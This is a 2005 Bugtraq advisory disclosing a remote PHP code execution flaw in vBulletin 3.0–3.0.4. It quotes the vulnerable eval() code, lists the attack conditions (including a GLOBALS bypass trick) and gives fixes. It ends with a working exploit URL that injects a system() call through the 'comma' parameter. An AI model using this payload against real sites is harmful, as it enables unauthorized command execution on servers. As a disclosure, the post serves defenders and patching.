[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
vbulletin 3.0.x PHP code execution
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: vbulletin 3.0.x PHP code execution
- From: AL3NDALEEB <al3ndaleeb@xxxxxxx>
- Date: 13 Feb 2005 17:16:35 -0000
Vulnerable Systems:
 ----------------
 vBulletin version 3.0 up to and including version 3.0.4
 Immune systems:
 ----------------
 vBulletin version 3.0.5
 vBulletin version 3.0.6
 Vulnerable code in forumdisplay.php :
 #############################################################
 if ($vboptions['showforumusers'])
 {
    .
    .
    .
    .
 if ($bbuserinfo['userid'])
 {
    .
    .
    .
    .
    $comma = ', ';
  }
 .
 .
 .
 .
 while ($loggedin = $DB_site->fetch_array($forumusers))
 {
    .
    .
    .
    eval('$activeusers .= "' . $comma . 
fetch_template('forumdisplay_loggedinuser') . '";');     <<==== (Vuln)
    $comma = ', ';
    .
    .
  }
 .
 .
 }
 #############################################################
 Conditions:
 ----------------
 1st condition   : $vboptions['showforumusers'] == True , the admin must set 
showforumusers ON in vbulletin options.
 2nd condition  : $bbuserinfo['userid'] == 0 , you must be an visitor/guest 
.
 3rd condition  : $DB_site->fetch_array($forumusers) == True , when you 
visit the forums, it  must has at least one user show the forum.
 4th condition   : magic_quotes_gpc must be OFF
 SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in 
init.php by secret array GLOBALS[]=1 ;)))
 Solutions:
 ----------------
 * Disable showforumusers in vbulletin options .
 * add the next line before if ($vboptions['showforumusers'])   
     $comma = '';
 Exploit:
 ----------------
example :
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."